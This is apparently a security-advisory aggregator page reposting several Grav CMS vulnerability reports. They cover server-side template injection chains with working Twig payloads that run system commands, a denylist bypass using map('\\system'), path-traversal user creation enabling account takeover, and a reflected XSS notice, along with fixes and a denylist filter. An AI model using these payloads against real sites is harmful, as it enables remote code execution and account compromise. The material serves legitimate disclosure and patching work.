We will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form's action sections without being in expert mode ( please refer to it's report ), so when we go to our form and save it, we can intercept the request and inject the following payload into data[json][header][form] which is the header for our form which we shouldn't normally be able to modify:

{"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[]}

URL-encode it before sending it should look something like this:

!image

!image

Request sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:

!image

Content of form:

title: Home process: markdown: true twig: true form: name: test fields: name: type: text label: Name required: true buttons: submit: type: submit value: submit process: - message: '{{ evaluatetwig(form.value(''name'')) }}'

Now in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command id on the system:

{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('id') }}

Now we can visit the page and input our payload, submit and we got command result:

!image

Impact

Allows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.

Recommended Fix

- Blacklist both the evaluate and evaluatetwig functions. - We could add second check to cleanDangerousTwig where we would look for each malicious function no matter it's position:

php <?php

function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }

$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string);

foreach ($badtwig as $func) { $string = pregreplace('/\b' . pregquote($func, '/') . '(\s\([^)]\))?\b/i', '{# $1 #}', $string); }

return $string; }

$x = $argv[1]; echo cleanDangerousTwig("evaluatetwig('$x')");

When we run this, the result is: evaluatetwig('{# {{ grav.twig.twig.{# #}('system') }} #} {# {% set a = grav.config.set('system.twig.{# #}',false) %} #} {# {{ grav.twig.{# #}('cat /etc/passwd') }} #}') You can see we managed to stop the payload and filter out the malicious functions.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary When a user with privilege of user creation creates a new user through the Admin UI and supplies a username containing path traversal sequences (for example ..\Nijat or ../Nijat), Grav writes the account YAML file to an unintended path outside user/accounts/. The written YAML can contain account fields such as email, fullname, twofasecret, and hashedpassword. In my tests, I was able to cause the Admin UI to write the following content into arbitrary .yaml files (including files like email.yaml, system.yaml, or other site YAML files like admin.yaml) — demonstrating arbitrary YAML write / overwrite via the Admin UI.

Example observed content written by the Admin UI (test data): username: ..\Nijat state: enabled email: EMAIL@gmail.com fullname: 'Nijat Alizada' language: en contenteditor: default twofaenabled: false twofasecret: RWVEIHC2AFVD6FCR6UHCO3DS4HWXKKDT avatar: { } hashedpassword: $2y$10$wl9Ktv3vUmDKCt8o6u2oOuRZr1I04OE0YZf2sJ1QcAherbNnk1XVC access: site: login: true

Steps to Reproduce 1. Log in to the Grav Admin UI as an administrator. 2. Create a new user with the following values (example): a. Username: ..\POC-TOKEN-2025-09-29 b. Fullname: POC-TOKEN-2025-09-29 c. Email: poc+2025-09-29@example.test d. Password: (any password) Observe that a YAML file containing the POC-TOKEN is written outside user/accounts/ (for example in the parent directory of user/accounts)

Impact 1. Config corruption / service disruption: Overwriting system.yaml, email.yaml, or plugin config files with attacker-controlled YAML (even if limited to fields present in account YAML) could break functionality, disable services, or cause misconfiguration requiring recovery from backups. 2. Account takeover, any user with create user privilege can modify other user's email and password by just creating a new user with the name "..\accounts\USERNAMEOFVICTIM"

Proof of Concept https://github.com/user-attachments/assets/cf503d74-f765-4031-8e22-71f6b3630847

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary The fix for SSTI using |map, |filter and |reduce twigs implemented in the commit 71bbed1 introduces bypass of the denylist due to incorrect return value from isDangerousFunction(), which allows to execute the payload prepending double backslash (\\)

Details The isDangerousFunction() check in version 1.7.42 and onwards retuns false value instead of true when the \ symbol is found in the $name.

php ... if (strpos($name, "\\") !== false) { return false; }

if (inarray($name, $commandExecutionFunctions)) { return true; } ... Based on the code where the function is used, it is expected that any dangerous condition would return true php / @param Environment $env @param array $array @param callable|string $arrow @return array|CallbackFilterIterator @throws RuntimeError / function mapFunc(Environment $env, $array, $arrow) { if (!$arrow instanceof \Closure && !isstring($arrow) || Utils::isDangerousFunction($arrow)) { throw new RuntimeError('Twig |map("' . $arrow . '") is not allowed.'); } when |map('\system') is used in the malicious payload, the single backslash is dropped prior to reaching strpos($name, '\\') check, thus $name variable already has no backslash, and the command is blacklisted because it reaches the if (inarray($name, $commandExecutionFunctions)) { validation step.

However if |map('\\system') is used (i.e. double backslash), then the strpos($name, "\\") !== false takes effect, and isDangerousFunction() returns false , in which case the RuntimeError is not generated, and blacklist is bypassed leading to code execution.

Exploit Conditions This vulnerability can be exploited if the attacker has access to:

1. an Administrator account, or 2. a non-administrator, user account that has Admin panel access and Create/Update page permissions

Steps to reproduce

1. Log in to Grav Admin using an administrator account. 2. Navigate to Accounts > Add, and ensure that the following permissions are assigned when creating a new low-privileged user: - Login to Admin - Allowed - Page Update - Allowed 3. Log out of Grav Admin 4. Login using the account created in step 2. 5. Choose Pages -> Home 6. Click the Advanced tab and select the checkbox beside Twig to ensure that Twig processing is enabled for the modified webpage. 7. Under the Content tab, insert the following payload within the editor: {{ ['id'] | map('\\system') | join() }} 8. Click the Preview button. Observe that the output of the id shell command is returned in the preview.

Mitigation

diff diff --git a/system/src/Grav/Common/Utils.php b/system/src/Grav/Common/Utils.php index 2f121bbe3..7b267cd0f 100644 --- a/system/src/Grav/Common/Utils.php +++ b/system/src/Grav/Common/Utils.php @@ -2069,7 +2069,7 @@ abstract class Utils } if (strpos($name, "\\") !== false) { - return false; + return true; } if (inarray($name, $commandExecutionFunctions)) {

1 / 2
First published (updated )
Severity
6.1
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Grav is a flat-file content management system. In versions 1.7.42 and prior, the "/forgotpassword" page has a self-reflected cross-site scripting vulnerability that can be exploited by injecting a script into the "email" parameter of the request. While this vulnerability can potentially allow an attacker to execute arbitrary code on the user's browser, the impact is limited as it requires user interaction to trigger the vulnerability. As of time of publication, a patch is not available. Server-side validation should be implemented to prevent this vulnerability.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203